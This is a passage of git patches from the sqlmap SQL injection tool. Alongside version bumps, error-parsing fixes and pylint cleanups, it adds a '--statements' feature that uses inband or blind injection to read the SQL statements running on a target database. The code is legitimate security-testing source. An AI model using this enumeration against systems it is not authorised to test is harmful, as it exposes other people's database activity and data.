lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import EVENTVALIDATION_REGEX +from lib.core.settings import IDENTYWAF_PARSE_LIMIT from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE from lib.core.settings import META_CHARSET_REGEX from lib.core.settings import PARSE_HEADERS_LIMIT @@ -385,7 +386,7 @@ def processResponse(page, responseHeaders, code=None, status=None): if msg: logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.')) - if kb.identYwaf: + if kb.processResponseCounter < IDENTYWAF_PARSE_LIMIT: rawResponse = "%s %s %s\n%s\n%s" % (_http_client.HTTPConnection._http_vsn_str, code or "", status or "", getUnicode("".join(responseHeaders.headers if responseHeaders else [])), page) identYwaf.non_blind.clear() From 00435934bc60f716e8d58258302780f003806025 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 28 May 2019 23:44:27 +0200 Subject: [PATCH 420/800] Minor improvement for --parse-errors --- lib/core/common.py | 10 +++++++--- lib/core/convert.py | 4 +++- lib/core/settings.py | 2 +- 3 files changed, 11 insertions(+), 5 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index b40bdcf5a15..df76d5988f7 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2642,7 +2642,9 @@ def extractErrorMessage(page): """ Returns reported error message from page if it founds one - >>> extractErrorMessage(u'Test\\nWarning: oci_parse() [function.oci-parse]: ORA-01756: quoted string not properly terminated

Only a test page

') == u'oci_parse() [function.oci-parse]: ORA-01756: quoted string not properly terminated' + >>> extractErrorMessage(u'Test\\nWarning: oci_parse() [function.oci-parse]: ORA-01756: quoted string not properly terminated

Only a test page

') + 'oci_parse() [function.oci-parse]: ORA-01756: quoted string not properly terminated' + >>> extractErrorMessage('Warning: This is only a dummy foobar test') is None True """ @@ -2653,8 +2655,10 @@ def extractErrorMessage(page): match = re.search(regex, page, re.IGNORECASE) if match: - retVal = htmlUnescape(match.group("result")).replace("
", "\n").strip() - break + candidate = htmlUnescape(match.group("result")).replace("
", "\n").strip() + if re.search(r"\b([a-z]+ ){5}", candidate) is None: # check for legitimate (e.g. Warning:...) text + retVal = candidate + break return retVal diff --git a/lib/core/convert.py b/lib/core/convert.py index 5a7332b6a21..5ce6d41a20c 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -80,15 +80,17 @@ def htmlUnescape(value): """ retVal = value + if value and isinstance(value, six.string_types): replacements = (("<", '<'), (">", '>'), (""", '"'), (" ", ' '), ("&", '&'), ("'", "'")) for code, value in replacements: retVal = retVal.replace(code, value) try: - retVal = re.sub(r"&#x([^ ;]+);", lambda match: _unichr(int(match.group(1), 16)), retVal) + retVal = getText(re.sub(r"&#x([^ ;]+);", lambda match: _unichr(int(match.group(1), 16)), retVal)) except ValueError: pass + return retVal def singleTimeWarnMessage(message): # Cross-referenced function diff --git a/lib/core/settings.py b/lib/core/settings.py index a5cc4fbee97..383e1d14d5e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.150" +VERSION = "1.3.5.151" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 95560da7c1495edf538faf6f03b749a9bf65f529 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 29 May 2019 15:52:33 +0200 Subject: [PATCH 421/800] Implements #1222 --- data/xml/queries.xml | 25 +++++++++ lib/controller/action.py | 3 ++ lib/core/dump.py | 3 ++ lib/core/enums.py | 1 + lib/core/optiondict.py | 1 + lib/core/settings.py | 2 +- lib/parse/cmdline.py | 3 ++ plugins/dbms/access/enumeration.py | 6 +++ plugins/dbms/db2/enumeration.py | 6 +++ plugins/dbms/firebird/enumeration.py | 6 +++ plugins/dbms/h2/enumeration.py | 6 +++ plugins/dbms/hsqldb/enumeration.py | 6 +++ plugins/dbms/informix/enumeration.py | 6 +++ plugins/dbms/maxdb/enumeration.py | 6 +++ plugins/dbms/sqlite/enumeration.py | 6 +++ plugins/dbms/sybase/enumeration.py | 6 +++ plugins/generic/databases.py | 76 +++++++++++++++++++++++++++- sqlmap.conf | 4 ++ 18 files changed, 169 insertions(+), 3 deletions(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 56983fc1ecb..e0c56ae7472 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -41,6 +41,10 @@ + + + + @@ -112,6 +116,10 @@ + + + + @@ -180,6 +188,10 @@ + + + + @@ -268,6 +280,10 @@ + + + + @@ -332,6 +348,7 @@ + @@ -392,6 +409,7 @@ + @@ -435,6 +453,7 @@ + @@ -504,6 +523,7 @@ + @@ -549,6 +569,7 @@ + @@ -620,6 +641,7 @@ + @@ -690,6 +712,7 @@ + @@ -753,6 +776,7 @@ + @@ -825,6 +849,7 @@ + diff --git a/lib/controller/action.py b/lib/controller/action.py index 6c370c738fb..07aaeda73e6 100644 --- a/lib/controller/action.py +++ b/lib/controller/action.py @@ -72,6 +72,9 @@ def action(): if conf.getUsers: conf.dumper.users(conf.dbmsHandler.getUsers()) + if conf.getStatements: + conf.dumper.statements(conf.dbmsHandler.getStatements()) + if conf.getPasswordHashes: try: conf.dumper.userSettings("database management system users password hashes", conf.dbmsHandler.getPasswordHashes(), "password hash", CONTENT_TYPE.PASSWORDS) diff --git a/lib/core/dump.py b/lib/core/dump.py index e79f96b2b2c..0a1b3979ee8 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -188,6 +188,9 @@ def dba(self, data): def users(self, users): self.lister("database management system users", users, content_type=CONTENT_TYPE.USERS) + def statements(self, statements): + self.lister("SQL statements", statements, content_type=CONTENT_TYPE.STATEMENTS) + def userSettings(self, header, userSettings, subHeader, content_type=None): self._areAdmins = set() diff --git a/lib/core/enums.py b/lib/core/enums.py index a13dbcd1e55..bc5748de5e5 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -348,6 +348,7 @@ class CONTENT_TYPE: FILE_WRITE = 23 OS_CMD = 24 REG_READ = 25 + STATEMENTS = 26 class CONTENT_STATUS: IN_PROGRESS = 0 diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index ccc5cfca1ce..c5d1c21657e 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -139,6 +139,7 @@ "dumpAll": "boolean", "search": "boolean", "getComments": "boolean", + "getStatements": "boolean", "db": "string", "tbl": "string", "col": "string", diff --git a/lib/core/settings.py b/lib/core/settings.py index 383e1d14d5e..8d7137dd140 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.151" +VERSION = "1.3.5.152" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 5342dffdb75..fa889c9ebcb 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -417,6 +417,9 @@ def cmdLineParser(argv=None): enumeration.add_option("--comments", dest="getComments", action="store_true", help="Check for DBMS comments during enumeration") + enumeration.add_option("--statements", dest="getStatements", action="store_true", + help="Retrieve SQL statements being run on DBMS") + enumeration.add_option("-D", dest="db", help="DBMS database to enumerate") diff --git a/plugins/dbms/access/enumeration.py b/plugins/dbms/access/enumeration.py index 3028f9366f3..a20c59ddf7b 100644 --- a/plugins/dbms/access/enumeration.py +++ b/plugins/dbms/access/enumeration.py @@ -76,3 +76,9 @@ def search(self): def getHostname(self): warnMsg = "on Microsoft Access it is not possible to enumerate the hostname" logger.warn(warnMsg) + + def getStatements(self): + warnMsg = "on Microsoft Access it is not possible to enumerate the SQL statements" + logger.warn(warnMsg) + + return [] diff --git a/plugins/dbms/db2/enumeration.py b/plugins/dbms/db2/enumeration.py index 3fbfa1ae0b4..4f29cfb64d1 100644 --- a/plugins/dbms/db2/enumeration.py +++ b/plugins/dbms/db2/enumeration.py @@ -14,3 +14,9 @@ def getPasswordHashes(self): logger.warn(warnMsg) return {} + + def getStatements(self): + warnMsg = "on DB2 it is not possible to enumerate the SQL statements" + logger.warn(warnMsg) + + return [] diff --git a/plugins/dbms/firebird/enumeration.py b/plugins/dbms/firebird/enumeration.py index 29f1a3852d7..4281f8bb683 100644 --- a/plugins/dbms/firebird/enumeration.py +++ b/plugins/dbms/firebird/enumeration.py @@ -36,3 +36,9 @@ def searchColumn(self): def getHostname(self): warnMsg = "on Firebird it is not possible to enumerate the hostname" logger.warn(warnMsg) + + def getStatements(self): + warnMsg = "on Firebird it is not possible to enumerate the SQL statements" + logger.warn(warnMsg) + + return [] diff --git a/plugins/dbms/h2/enumeration.py b/plugins/dbms/h2/enumeration.py index abe022463dd..23ee0dfffba 100644 --- a/plugins/dbms/h2/enumeration.py +++ b/plugins/dbms/h2/enumeration.py @@ -47,3 +47,9 @@ def getPasswordHashes(self): logger.warn(warnMsg) return {} + + def getStatements(self): + warnMsg = "on H2 it is not possible to enumerate the SQL statements" + logger.warn(warnMsg) + + return [] diff --git a/plugins/dbms/hsqldb/enumeration.py b/plugins/dbms/hsqldb/enumeration.py index 7c415cb6624..2b4dcd589b8 100644 --- a/plugins/dbms/hsqldb/enumeration.py +++ b/plugins/dbms/hsqldb/enumeration.py @@ -41,3 +41,9 @@ def getHostname(self): def getCurrentDb(self): return HSQLDB_DEFAULT_SCHEMA + + def getStatements(self): + warnMsg = "on HSQLDB it is not possible to enumerate the SQL statements" + logger.warn(warnMsg) + + return [] diff --git a/plugins/dbms/informix/enumeration.py b/plugins/dbms/informix/enumeration.py index 092224c94c7..5b44899c6c8 100644 --- a/plugins/dbms/informix/enumeration.py +++ b/plugins/dbms/informix/enumeration.py @@ -30,3 +30,9 @@ def searchColumn(self): def search(self): warnMsg = "on Informix search option is not available" logger.warn(warnMsg) + + def getStatements(self): + warnMsg = "on Informix it is not possible to enumerate the SQL statements" + logger.warn(warnMsg) + + return [] diff --git a/plugins/dbms/maxdb/enumeration.py b/plugins/dbms/maxdb/enumeration.py index 146762d522f..53fd81c84dd 100644 --- a/plugins/dbms/maxdb/enumeration.py +++ b/plugins/dbms/maxdb/enumeration.py @@ -230,3 +230,9 @@ def search(self): def getHostname(self): warnMsg = "on SAP MaxDB it is not possible to enumerate the hostname" logger.warn(warnMsg) + + def getStatements(self): + warnMsg = "on SAP MaxDB it is not possible to enumerate the SQL statements" + logger.warn(warnMsg) + + return [] diff --git a/plugins/dbms/sqlite/enumeration.py b/plugins/dbms/sqlite/enumeration.py index c596318ba5d..4812f57a076 100644 --- a/plugins/dbms/sqlite/enumeration.py +++ b/plugins/dbms/sqlite/enumeration.py @@ -61,3 +61,9 @@ def searchColumn(self): def getHostname(self): warnMsg = "on SQLite it is not possible to enumerate the hostname" logger.warn(warnMsg) + + def getStatements(self): + warnMsg = "on SQLite it is not possible to enumerate the SQL statements" + logger.warn(warnMsg) + + return [] diff --git a/plugins/dbms/sybase/enumeration.py b/plugins/dbms/sybase/enumeration.py index faccae6e70b..19e3532f804 100644 --- a/plugins/dbms/sybase/enumeration.py +++ b/plugins/dbms/sybase/enumeration.py @@ -316,3 +316,9 @@ def search(self): def getHostname(self): warnMsg = "on Sybase it is not possible to enumerate the hostname" logger.warn(warnMsg) + + def getStatements(self): + warnMsg = "on Sybase it is not possible to enumerate the SQL statements" + logger.warn(warnMsg) + + return [] diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index b9753aa90ed..0c4ed0f16c1 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -44,6 +44,7 @@ from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import CURRENT_DB +from lib.core.settings import REFLECTED_VALUE_MARKER from lib.request import inject from lib.techniques.union.use import unionUse from lib.utils.brute import columnExists @@ -62,6 +63,7 @@ def __init__(self): kb.data.cachedColumns = {} kb.data.cachedCounts = {} kb.data.dumpedTable = {} + kb.data.cachedStatements = [] def getCurrentDb(self): infoMsg = "fetching current database" @@ -142,9 +144,10 @@ def getDbs(self): query = rootQuery.blind.query2 % index else: query = rootQuery.blind.query % index + db = unArrayizeValue(inject.getValue(query, union=False, error=False)) - if db: + if not isNoneValue(db): kb.data.cachedDbs.append(safeSQLIdentificatorNaming(db)) if not kb.data.cachedDbs and Backend.isDbms(DBMS.MSSQL): @@ -375,6 +378,7 @@ def getTables(self, bruteForce=None): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(db), index) table = unArrayizeValue(inject.getValue(query, union=False, error=False)) + if not isNoneValue(table): kb.hintValue = table table = safeSQLIdentificatorNaming(table, True) @@ -761,6 +765,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod while True: query = rootQuery.blind.query3 % (conf.db, unsafeSQLIdentificatorNaming(tbl), index) value = unArrayizeValue(inject.getValue(query, union=False, error=False)) + if isNoneValue(value) or value == " ": break else: @@ -834,8 +839,8 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl), column) colType = unArrayizeValue(inject.getValue(query, union=False, error=False)) - key = int(colType) if hasattr(colType, "isdigit") and colType.isdigit() else colType + if Backend.isDbms(DBMS.FIREBIRD): colType = FIREBIRD_TYPES.get(key, colType) elif Backend.isDbms(DBMS.INFORMIX): @@ -960,3 +965,70 @@ def getCount(self): self._tableGetCount(db, table) return kb.data.cachedCounts + + def getStatements(self): + infoMsg = "fetching SQL statements" + logger.info(infoMsg) + + rootQuery = queries[Backend.getIdentifiedDbms()].statements + + if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: + query = rootQuery.inband.query + + while True: + values = inject.getValue(query, blind=False, time=False) + + if not isNoneValue(values): + kb.data.cachedStatements = [] + for value in arrayizeValue(values): + value = (unArrayizeValue(value) or "").strip() + if not isNoneValue(value): + kb.data.cachedStatements.append(value.strip()) + + elif Backend.isDbms(DBMS.PGSQL) and "current_query" not in query: + query = query.replace("query", "current_query") + continue + + break + + if not kb.data.cachedStatements and isInferenceAvailable() and not conf.direct: + infoMsg = "fetching number of statements" + logger.info(infoMsg) + + query = rootQuery.blind.count + count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + + if count == 0: + return kb.data.cachedStatements + elif not isNumPosStrValue(count): + errMsg = "unable to retrieve the number of statements" + raise SqlmapNoneDataException(errMsg) + + plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) + indexRange = getLimitRange(count, plusOne=plusOne) + + for index in indexRange: + value = None + + if Backend.getIdentifiedDbms() in (DBMS.MYSQL,): # case with multiple processes + query = rootQuery.blind.query3 % index + identifier = unArrayizeValue(inject.getValue(query, union=False, error=False, expected=EXPECTED.INT)) + + if not isNoneValue(identifier): + query = rootQuery.blind.query2 % identifier + value = unArrayizeValue(inject.getValue(query, union=False, error=False, expected=EXPECTED.INT)) + + if isNoneValue(value): + query = rootQuery.blind.query % index + value = unArrayizeValue(inject.getValue(query, union=False, error=False)) + + if not isNoneValue(value): + kb.data.cachedStatements.append(value) + + if not kb.data.cachedStatements: + errMsg = "unable to retrieve the statements" + logger.error(errMsg) + else: + kb.data.cachedStatements = [_.replace(REFLECTED_VALUE_MARKER, "") for _ in kb.data.cachedStatements] + + return kb.data.cachedStatements \ No newline at end of file diff --git a/sqlmap.conf b/sqlmap.conf index e83e09e8054..b3056cc6ff9 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -496,6 +496,10 @@ search = False # Valid: True or False getComments = False +# Retrieve SQL statements being run on database management system. +# Valid: True or False +getStatements = False + # Back-end database management system database to enumerate. db = From 4077cd2342d33b73281425c3303cae7407f164f7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 29 May 2019 16:42:04 +0200 Subject: [PATCH 422/800] Pleasing the pylint gods --- lib/core/agent.py | 4 +- lib/core/common.py | 5 +-- lib/core/compat.py | 2 +- lib/core/enums.py | 78 +++++++++++++++++----------------- lib/core/replication.py | 4 +- lib/core/settings.py | 2 +- lib/core/subprocessng.py | 6 +-- lib/core/testing.py | 2 +- lib/takeover/icmpsh.py | 2 +- lib/takeover/metasploit.py | 2 +- lib/takeover/registry.py | 2 +- lib/takeover/udf.py | 2 +- lib/takeover/web.py | 2 +- lib/takeover/xp_cmdshell.py | 2 +- lib/utils/har.py | 14 +++--- plugins/generic/connector.py | 2 +- plugins/generic/custom.py | 2 +- plugins/generic/databases.py | 2 +- plugins/generic/entries.py | 2 +- plugins/generic/filesystem.py | 2 +- plugins/generic/fingerprint.py | 2 +- plugins/generic/misc.py | 2 +- plugins/generic/search.py | 2 +- plugins/generic/syntax.py | 2 +- plugins/generic/users.py | 2 +- 25 files changed, 74 insertions(+), 75 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 1a2cf9ce823..dbcb68dfbfc 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -172,9 +172,9 @@ def payload(self, place=None, parameter=None, value=None, newValue=None, where=N if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER): _ = "%s%s" % (origValue, kb.customInjectionMark) - if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and not '"%s"' % _ in paramString: + if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and '"%s"' % _ not in paramString: newValue = '"%s"' % newValue - elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and not "'%s'" % _ in paramString: + elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and "'%s'" % _ not in paramString: newValue = "'%s'" % newValue newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER) retVal = paramString.replace(_, self.addPayloadDelimiters(newValue)) diff --git a/lib/core/common.py b/lib/core/common.py index df76d5988f7..ee753692d23 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -328,8 +328,7 @@ def getOs(target, info): else: return infoStr.lstrip() -class Backend: - # Set methods +class Backend(object): @staticmethod def setDbms(dbms): dbms = aliasToDbmsEnum(dbms) @@ -3547,7 +3546,7 @@ def checkIntegrity(): retVal = True baseTime = os.path.getmtime(paths.SQLMAP_SETTINGS_PATH) + 3600 # First hour free parking :) - for root, dirnames, filenames in os.walk(paths.SQLMAP_ROOT_PATH): + for root, _, filenames in os.walk(paths.SQLMAP_ROOT_PATH): for filename in filenames: if re.search(r"(\.py|\.xml|_)\Z", filename): filepath = os.path.join(root, filename) diff --git a/lib/core/compat.py b/lib/core/compat.py index 8388deb718f..43670074916 100644 --- a/lib/core/compat.py +++ b/lib/core/compat.py @@ -110,7 +110,7 @@ def jumpahead(self, n): period. """ - if not n >= 0: + if n < 0: raise ValueError("n must be >= 0") x, y, z = self._seed x = int(x * pow(171, n, 30269)) % 30269 diff --git a/lib/core/enums.py b/lib/core/enums.py index bc5748de5e5..d2b91441fb6 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -5,7 +5,7 @@ See the file 'LICENSE' for copying permission """ -class PRIORITY: +class PRIORITY(object): LOWEST = -100 LOWER = -50 LOW = -10 @@ -14,7 +14,7 @@ class PRIORITY: HIGHER = 50 HIGHEST = 100 -class SORT_ORDER: +class SORT_ORDER(object): FIRST = 0 SECOND = 1 THIRD = 2 @@ -23,7 +23,7 @@ class SORT_ORDER: LAST = 100 # Reference: https://docs.python.org/2/library/logging.html#logging-levels -class LOGGING_LEVELS: +class LOGGING_LEVELS(object): NOTSET = 0 DEBUG = 10 INFO = 20 @@ -31,7 +31,7 @@ class LOGGING_LEVELS: ERROR = 40 CRITICAL = 50 -class DBMS: +class DBMS(object): ACCESS = "Microsoft Access" DB2 = "IBM DB2" FIREBIRD = "Firebird" @@ -46,7 +46,7 @@ class DBMS: H2 = "H2" INFORMIX = "Informix" -class DBMS_DIRECTORY_NAME: +class DBMS_DIRECTORY_NAME(object): ACCESS = "access" DB2 = "db2" FIREBIRD = "firebird" @@ -61,16 +61,16 @@ class DBMS_DIRECTORY_NAME: H2 = "h2" INFORMIX = "informix" -class CUSTOM_LOGGING: +class CUSTOM_LOGGING(object): PAYLOAD = 9 TRAFFIC_OUT = 8 TRAFFIC_IN = 7 -class OS: +class OS(object): LINUX = "Linux" WINDOWS = "Windows" -class PLACE: +class PLACE(object): GET = "GET" POST = "POST" URI = "URI" @@ -81,7 +81,7 @@ class PLACE: CUSTOM_POST = "(custom) POST" CUSTOM_HEADER = "(custom) HEADER" -class POST_HINT: +class POST_HINT(object): SOAP = "SOAP" JSON = "JSON" JSON_LIKE = "JSON-like" @@ -89,7 +89,7 @@ class POST_HINT: XML = "XML (generic)" ARRAY_LIKE = "Array-like" -class HTTPMETHOD: +class HTTPMETHOD(object): GET = "GET" POST = "POST" HEAD = "HEAD" @@ -100,28 +100,28 @@ class HTTPMETHOD: CONNECT = "CONNECT" PATCH = "PATCH" -class NULLCONNECTION: +class NULLCONNECTION(object): HEAD = "HEAD" RANGE = "Range" SKIP_READ = "skip-read" -class REFLECTIVE_COUNTER: +class REFLECTIVE_COUNTER(object): MISS = "MISS" HIT = "HIT" -class CHARSET_TYPE: +class CHARSET_TYPE(object): BINARY = 1 DIGITS = 2 HEXADECIMAL = 3 ALPHA = 4 ALPHANUM = 5 -class HEURISTIC_TEST: +class HEURISTIC_TEST(object): CASTED = 1 NEGATIVE = 2 POSITIVE = 3 -class HASH: +class HASH(object): MYSQL = r'(?i)\A\*[0-9a-f]{40}\Z' MYSQL_OLD = r'(?i)\A(?![0-9]+\Z)[0-9a-f]{16}\Z' POSTGRES = r'(?i)\Amd5[0-9a-f]{32}\Z' @@ -155,7 +155,7 @@ class HASH: SHA512_BASE64 = r'\A[a-zA-Z0-9+/]{86}==\Z' # Reference: http://www.zytrax.com/tech/web/mobile_ids.html -class MOBILES: +class MOBILES(object): BLACKBERRY = ("BlackBerry Z10", "Mozilla/5.0 (BB10; Kbd) AppleWebKit/537.35+ (KHTML, like Gecko) Version/10.3.3.2205 Mobile Safari/537.35+") GALAXY = ("Samsung Galaxy S7", "Mozilla/5.0 (Linux; Android 7.0; SM-G930V Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36") HP = ("HP iPAQ 6365", "Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; HP iPAQ h6300)") @@ -168,23 +168,23 @@ class MOBILES: PIXEL = ("Google Pixel", "Mozilla/5.0 (Linux; Android 8.0.0; Pixel Build/OPR3.170623.013) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36") XIAOMI = ("Xiaomi Mi 3", "Mozilla/5.0 (Linux; U; Android 4.4.4; en-gb; MI 3W Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Mobile Safari/537.36 XiaoMi/MiuiBrowser/2.1.1") -class PROXY_TYPE: +class PROXY_TYPE(object): HTTP = "HTTP" HTTPS = "HTTPS" SOCKS4 = "SOCKS4" SOCKS5 = "SOCKS5" -class REGISTRY_OPERATION: +class REGISTRY_OPERATION(object): READ = "read" ADD = "add" DELETE = "delete" -class DUMP_FORMAT: +class DUMP_FORMAT(object): CSV = "CSV" HTML = "HTML" SQLITE = "SQLITE" -class HTTP_HEADER: +class HTTP_HEADER(object): ACCEPT = "Accept" ACCEPT_CHARSET = "Accept-Charset" ACCEPT_ENCODING = "Accept-Encoding" @@ -217,17 +217,17 @@ class HTTP_HEADER: X_POWERED_BY = "X-Powered-By" X_DATA_ORIGIN = "X-Data-Origin" -class EXPECTED: +class EXPECTED(object): BOOL = "bool" INT = "int" -class OPTION_TYPE: +class OPTION_TYPE(object): BOOLEAN = "boolean" INTEGER = "integer" FLOAT = "float" STRING = "string" -class HASHDB_KEYS: +class HASHDB_KEYS(object): DBMS = "DBMS" DBMS_FORK = "DBMS_FORK" CHECK_WAF_RESULT = "CHECK_WAF_RESULT" @@ -243,11 +243,11 @@ class HASHDB_KEYS: KB_XP_CMDSHELL_AVAILABLE = "KB_XP_CMDSHELL_AVAILABLE" OS = "OS" -class REDIRECTION: +class REDIRECTION(object): YES = "Y" NO = "N" -class PAYLOAD: +class PAYLOAD(object): SQLINJECTION = { 1: "boolean-based blind", 2: "error-based", @@ -286,13 +286,13 @@ class PAYLOAD: 9: "Pre-WHERE (non-query)", } - class METHOD: + class METHOD(object): COMPARISON = "comparison" GREP = "grep" TIME = "time" UNION = "union" - class TECHNIQUE: + class TECHNIQUE(object): BOOLEAN = 1 ERROR = 2 QUERY = 3 @@ -300,28 +300,28 @@ class TECHNIQUE: TIME = 5 UNION = 6 - class WHERE: + class WHERE(object): ORIGINAL = 1 NEGATIVE = 2 REPLACE = 3 -class WIZARD: +class WIZARD(object): BASIC = ("getBanner", "getCurrentUser", "getCurrentDb", "isDba") INTERMEDIATE = ("getBanner", "getCurrentUser", "getCurrentDb", "isDba", "getUsers", "getDbs", "getTables", "getSchema", "excludeSysDbs") ALL = ("getBanner", "getCurrentUser", "getCurrentDb", "isDba", "getHostname", "getUsers", "getPasswordHashes", "getPrivileges", "getRoles", "dumpAll") -class ADJUST_TIME_DELAY: +class ADJUST_TIME_DELAY(object): DISABLE = -1 NO = 0 YES = 1 -class WEB_PLATFORM: +class WEB_PLATFORM(object): PHP = "php" ASP = "asp" ASPX = "aspx" JSP = "jsp" -class CONTENT_TYPE: +class CONTENT_TYPE(object): TARGET = 0 TECHNIQUES = 1 DBMS_FINGERPRINT = 2 @@ -350,26 +350,26 @@ class CONTENT_TYPE: REG_READ = 25 STATEMENTS = 26 -class CONTENT_STATUS: +class CONTENT_STATUS(object): IN_PROGRESS = 0 COMPLETE = 1 -class AUTH_TYPE: +class AUTH_TYPE(object): BASIC = "basic" DIGEST = "digest" NTLM = "ntlm" PKI = "pki" -class AUTOCOMPLETE_TYPE: +class AUTOCOMPLETE_TYPE(object): SQL = 0 OS = 1 SQLMAP = 2 API = 3 -class NOTE: +class NOTE(object): FALSE_POSITIVE_OR_UNEXPLOITABLE = "false positive or unexploitable" -class MKSTEMP_PREFIX: +class MKSTEMP_PREFIX(object): HASHES = "sqlmaphashes-" CRAWLER = "sqlmapcrawler-" IPC = "sqlmapipc-" @@ -381,11 +381,11 @@ class MKSTEMP_PREFIX: SPECIFIC_RESPONSE = "sqlmapresponse-" PREPROCESS = "sqlmappreprocess-" -class TIMEOUT_STATE: +class TIMEOUT_STATE(object): NORMAL = 0 EXCEPTION = 1 TIMEOUT = 2 -class HINT: +class HINT(object): PREPEND = 0 APPEND = 1 diff --git a/lib/core/replication.py b/lib/core/replication.py index 01f2495a66e..8378392890f 100644 --- a/lib/core/replication.py +++ b/lib/core/replication.py @@ -32,7 +32,7 @@ def __init__(self, dbpath): errMsg += "file '%s' ('%s')" % (self.filepath, getSafeExString(ex)) raise SqlmapConnectionException(errMsg) - class DataType: + class DataType(object): """ Using this class we define auxiliary objects used for representing sqlite data types. @@ -47,7 +47,7 @@ def __str__(self): def __repr__(self): return "" % self - class Table: + class Table(object): """ This class defines methods used to manipulate table objects. """ diff --git a/lib/core/settings.py b/lib/core/settings.py index 8d7137dd140..cf2bfa8e1ec 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.152" +VERSION = "1.3.5.153" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/subprocessng.py b/lib/core/subprocessng.py index b3321821042..fa77fbbde8b 100644 --- a/lib/core/subprocessng.py +++ b/lib/core/subprocessng.py @@ -94,7 +94,7 @@ def send(self, input): try: x = msvcrt.get_osfhandle(self.stdin.fileno()) - (errCode, written) = WriteFile(x, input) + (_, written) = WriteFile(x, input) except ValueError: return self._close('stdin') except (subprocess.pywintypes.error, Exception) as ex: @@ -111,11 +111,11 @@ def _recv(self, which, maxsize): try: x = msvcrt.get_osfhandle(conn.fileno()) - (read, nAvail, nMessage) = PeekNamedPipe(x, 0) + (read, nAvail, _) = PeekNamedPipe(x, 0) if maxsize < nAvail: nAvail = maxsize if nAvail > 0: - (errCode, read) = ReadFile(x, nAvail, None) + (_, read) = ReadFile(x, nAvail, None) except (ValueError, NameError): return self._close(which) except (subprocess.pywintypes.error, Exception) as ex: diff --git a/lib/core/testing.py b/lib/core/testing.py index d98a512f1f2..14d4de5c43d 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -169,7 +169,7 @@ def smokeTest(): logger.setLevel(logging.CRITICAL) kb.smokeMode = True - (failure_count, test_count) = doctest.testmod(module) + (failure_count, _) = doctest.testmod(module) kb.smokeMode = False 